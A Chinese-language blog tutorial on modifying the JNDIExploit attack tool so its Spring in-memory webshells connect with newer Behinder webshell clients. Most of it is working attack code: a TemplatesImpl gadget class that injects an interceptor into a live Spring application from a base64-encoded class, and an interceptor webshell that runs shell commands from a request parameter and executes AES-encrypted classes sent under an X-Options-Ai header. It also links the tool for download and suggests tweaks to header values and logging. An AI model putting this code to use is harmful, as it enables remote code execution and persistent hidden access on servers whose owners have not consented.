JNDIExploit

首先是JNDIExploit工具

项目地址:

https://lmpan.lmboke.com/JNDIExploit-master.zip

集成了大量gadget和大量的内存马,如下图所示:

微信图片_20230428000524

微信图片_20230428000550

针对JNDI注入的大部分场景都能快速利用,但是目前开源版本的代码,以及打包的jar支持的冰蝎内存马都得依靠对应魔改的冰蝎去连接。

Behinder3.0增加对HttpServletRequest和HttpServletResponse的支持

冰蝎中BasicInfo#equals原来是依赖pageContext获取对应的request、response、session对象的,但是在冰蝎目前最新版本已经不再只依赖pageContext,增加了对HttpServletRequest和HttpServletResponse的支持。

看看具体代码逻辑是这样的(Behinder3.0beta11 反编译的)。BasicInfo#equals方法开始就会对传入的对象进行辨别,具体是BasicInfo#fillContext

微信图片_20230428000741

BasicInfo#fillContext的处理逻辑:

微信图片_20230428000806

从代码不难看出,BasicInfo#fillContext就是分了个类,如果传入的是PageContext对象,那就还走原来从PageContext获取request、response、session的路子,如果是Map对象,那就从Map里获取request、response、session。

JNDIExploit适配冰蝎

源码github就可以下载。然后所有的内存马有关的类都在src/main/java/com/feihong/ldap/template包中

微信图片_20230428000925

因为我是注入Spring内存马时候碰到的问题,就先从SpringMemshellTemplate这个类入手吧,当然了解原理了之后后面所有类型的都可以适配。下面是代码详细:

package com.feihong.ldap.template;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import sun.misc.BASE64Decoder;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedHashSet;
public class SpringMemshellTemplate extends AbstractTranslet {
    // 这种方式经过测试,可以兼容到 1.3.0.RELEASE
    public SpringMemshellTemplate(){
        try{
            // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
            Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
            // 2. 属性被 private 修饰,所以 setAccessible true
            field.setAccessible(true);
            // 3. 获取一个 ApplicationContext 实例
            WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();
            AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            Class clazz = null;
            try{
                clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicInterceptorTemplate");
            }catch(ClassNotFoundException e){
                try{
                    BASE64Decoder base64Decoder = new BASE64Decoder();
                    String codeClass ="yv66vgAAADMBAwoARQCFCACGCQBEAIcIAIgJAEQAiQoARACKCwCLAIwLAIsAjQgAjgoAjwCQCwCLAJEIAJILAJMAlAgAlQoAlgCXBwCYBwCZCgARAIULAJMAmgoAEQCbCACcCgARAJ0KABEAngoAjwCfCgAQAKAKAJYAoQcAogoAGwCFCwCLAKMKAKQApQoAGwCmCgCWAKcJAEQAqAgAqQcAqgcAWAcAqwoAIwCsBwCtCgCuAK8KAK4AsAoAsQCyCgAjALMHALQKACwAhQgAtQsAtgC3CABiCABkCAC4BwC5CgAzALoIALsKACUAvAcAvQgAvgkAvwDACgCxAMEKAL8AwgcAwwoAPAC6BwDECgA+ALoHAMUKAEAAugcAxgoAQgC6BwDHBwDIAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABNiZWhpbmRlclNoZWxsSGVhZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAQYmVoaW5kZXJTaGVsbFB3ZAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA2TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGU7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21hcAEAD0xqYXZhL3V0aWwvTWFwOwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcAuQEACkV4Y2VwdGlvbnMBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjb2RlAQAFYnl0ZXMBAAZtZXRob2QBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsHAMcHAKsHAL0HAMkHAMoHAMMHAMQHAMUHAMYBAApTb3VyY2VGaWxlAQAfRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUuamF2YQEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7DABLAEwBAA5YLUZPUldBUkQtVE8tQgwASABJAQAQYzEzNDllYWRhYTgwN2E3NwwASgBJDABsAEwHAMsMAMwAzQwAzgDPAQAEUE9TVAcAyQwAuADQDADRANIBAAF1BwDTDADUANUBAANBRVMHANYMANcA2AEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA2QDaDADbANwBAAAMANsA3QwA3gDPDADfAOAMAEsA4QwA4gDjAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA5ADlBwDmDADnAM8MAOgA6QwA6gDrDABGAEcBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwA7ADtAQAQamF2YS9sYW5nL09iamVjdAcA7gwA7wDwDADxAPIHAMoMAPMA9AwA9QD2AQARamF2YS91dGlsL0hhc2hNYXABAAdzZXNzaW9uBwD3DAD4APkBAAZlcXVhbHMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAD6AEwBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAPsA/AEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQcA/QwA/gBHDAD/AQAMAQEBAgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQA0Y29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZQEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQAQamF2YS9sYW5nL1N0cmluZwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldE1ldGhvZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxzZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA1qYXZhL3V0aWwvTWFwAQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAEQARQAAAAMAAgBGAEcAAAACAEgASQAAAAIASgBJAAAAAwABAEsATAABAE0AAABPAAIAAQAAABUqtwABKhICtQADKhIEtQAFKrcABrEAAAACAE4AAAAWAAUAAAAXAAQAFAAKABUAEAAYABQAGQBPAAAADAABAAAAFQBQAFEAAAABAFIAUwACAE0AAAIqAAcACwAAARsrKrQAA7kABwIAxgEPK7kACAEAEgm2AAqZAPUqtAAFOgQruQALAQASDBkEuQANAwASDrgADzoFGQUFuwAQWbsAEVm3ABIruQALAQASDLkAEwIAtgAUEhW2ABa2ABe2ABgSDrcAGbYAGhkFuwAbWbcAHCu5AB0BALYAHrYAH7YAIDoGKrQAIRIiBb0AI1kDEiRTWQQSJVO2ACYBBb0AJ1kDGQZTWQS4ACi2AClTtgAqwAAjOgcZB7YAKzoIuwAsWbcALToJGQkSLiu5AAsBALkALwMAVxkJEjAruQAvAwBXGQkSMSy5AC8DAFcZBxIyBL0AI1kDEidTtgAmOgoZChkIBL0AJ1kDGQlTtgAqV6cACjoEGQS2ADQDrASsAAEADQENARAAMwAEAE4AAABSABQAAAAdAA0AIAAbACEAIQAiADAAIwA3ACQAaAAlAIIAJgC0ACcAuwAoAMQAKQDUACoA3wArAOoALAD8AC0BDQAyARAAMAESADEBFwA0ARkANwBPAAAAegAMACEA7ABUAEkABAA3ANYAVQBWAAUAggCLAFcAWAAGALQAWQBZAEcABwC7AFIAWgBbAAgAxABJAFwAXQAJAPwAEQBeAF8ACgESAAUAYABhAAQAAAEbAFAAUQAAAAABGwBiAGMAAQAAARsAZABlAAIAAAEbAGYAWwADAGcAAAAMAAEAxABJAFwAaAAJAGkAAAALAAT7AQ1CBwBqBgEAawAAAAQAAQAzAAIAbABMAAEATQAAAeQABwAHAAAAlbgAKLYAKUwqKxI1tgA2tQAhpwBrTRI4TrsAG1m3ABwttgAfOgQBOgUSJRIiBr0AI1kDEiRTWQSyADlTWQWyADlTtgAmOgUZBQS2ADoqGQUrBr0AJ1kDGQRTWQQDuAA7U1kFGQS+uAA7U7YAKsAAI7UAIacACjoGGQa2AD2nABhMK7YAP6cAEEwrtgBBpwAITCu2AEOxAAUABwARABQANwAoAHIAdQA8AAAAfAB/AD4AAAB8AIcAQAAAAHwAjwBCAAMATgAAAF4AFwAAADwABwA+ABEASwAUAD8AFQBAABgAQQAlAEMAKABFAEYARgBMAEcAcgBKAHUASAB3AEkAfABSAH8ATACAAE0AhABSAIcATgCIAE8AjABSAI8AUACQAFEAlABTAE8AAABmAAoAdwAFAG0AbgAGABgAZABvAEkAAwAlAFcAcABYAAQAKABUAHEAXwAFABUAZwBgAHIAAgAHAHUAcwB0AAEAgAAEAGAAdQABAIgABABgAHYAAQCQAAQAYAB3AAEAAACVAFAAUQAAAGkAAABFAAf/ABQAAgcAeAcAeQABBwB6/wBgAAYHAHgHAHkHAHoHAHsHACQHAHwAAQcAff8ABgABBwB4AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA==";
                    byte[] bytes = base64Decoder.decodeBuffer(codeClass);
                    Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    method.setAccessible(true);
                    clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
                }catch (Exception ex){
                    ex.printStackTrace();
                }
            }
            adaptedInterceptors.add(clazz.newInstance());
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

具体步骤,是用TemplatsImpl链在无参构造里获取Spring的applicationContexts还有adaptedInterceptors等等上下文配置,再把一个Interceptor内存马用classloader加载,本地加载不了就Base64加载,再添加到adaptedInterceptors里,所以具体的内存马逻辑在com.feihong.ldap.template.DynamicInterceptorTemplate这个类里

package com.feihong.ldap.template;
import org.springframework.stereotype.Controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
@Controller
public class DynamicInterceptorTemplate extends HandlerInterceptorAdapter {
    private Class myClassLoaderClazz;
    private String basicCmdShellPwd = "pass";
    private String behinderShellHeader = "X-Options-Ai";
    private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond
    public DynamicInterceptorTemplate() {
        initialize();
    }
    @Override
    public boolean preHandle
  (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("[+] Dynamic Interceptor says hello");
        if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
            //basic cmd shell
            String cmd = request.getParameter(basicCmdShellPwd);
            if(cmd != null && !cmd.isEmpty()){
                String[] cmds = null;
                if(File.separator.equals("/")){
                    cmds = new String[]{"/bin/sh", "-c", cmd};
                }else{
                    cmds = new String[]{"cmd", "/C", cmd};
                }
                String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                response.getWriter().println(result);
                return false;
            }
        }else if(request.getHeader(behinderShellHeader) != null){
            //behind3 shell
            try{
                if (request.getMethod().equals("POST")){
                    String k = behinderShellPwd;
                    request.getSession().setAttribute("u",k);
                    Cipher cipher = Cipher.getInstance("AES");
                    cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
                    byte[] evilClassBytes = cipher.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                    Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
                    Object evilObject = evilClass.newInstance();
                    Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
                    targetMethod.invoke(evilObject, new Object[]{request, response});
                }
            }catch(Exception e){
                e.printStackTrace();
            }
            return false;
        }
        return true;
    }
    private void initialize(){
        try{
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            try{
                this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader");
            } catch (ClassNotFoundException e) {
                String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU=";
                byte[] bytes = new BASE64Decoder().decodeBuffer(code);
                Method method = null;
                try {
                    method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    method.setAccessible(true);
                    this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
                } catch (NoSuchMethodException ex) {
                    ex.printStackTrace();
                }
            }
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
    }
}

DynamicInterceptorTemplate#preHandle里就是原工具CMD马和冰蝎马的拦截逻辑。
有参数type且等于basic,且有参数pass,执行pass的命令
httpheader中有behinderShellHeader(X-Options-Ai)就按冰蝎马的逻辑走

DynamicInterceptorTemplate#initialize 是冰蝎服务端逻辑里需要有一个ClassLoader,所以拦截器初始化时候加载一下,然后在冰蝎马逻辑中能看到反射equals方法是反射了一个两个参数的equals方法,且把HttpServletRequest和HttpServletResponse分别传入的,与Behinder新更新的方法逻辑不一样。

微信图片_20230428001132

所以我们把这一块改一下,改成用Map传递:

微信图片_20230428001155

然后编译一下把class文件输出成Base64替换掉SpringMemshellTemplate中的原Base64值,重新打包就可以使用了

微信图片_20230428001215

给一小段class转base64的python3代码,突出一个方便:

import base64
file = open(r"aaa.class", "rb")
byte = file.read()
encodeStr = base64.b64encode(byte).decode()
print(encodeStr)

然后本地fastjson+JNDI注入利用测试:

微信图片_20230428001259

冰蝎连接成功:(记得加http请求头)

微信图片_20230428001321

微信图片_20230428001348

然后我们就可以看一下之前的所有内存马的类

微信图片_20230428001407

还有一个内存马类DynamicFilterTemplate是有适配冰蝎马的需求的,然后我们照旧改成Map传递就行。记得要将使用到DynamicFilterTemplate的几个payload类的base64都改一下

微信图片_20230428001434

然后我们的适配工作就完成了

JNDIExploit魔改

简单的魔改我们可以改一些东西,比如最简单的监听的http头的值的更改

微信图片_20230428001508

还有删除cmd马(按着需求来)
还有测试时用的控制台输出也可以毙掉

微信图片_20230428001530

微信图片_20230428001541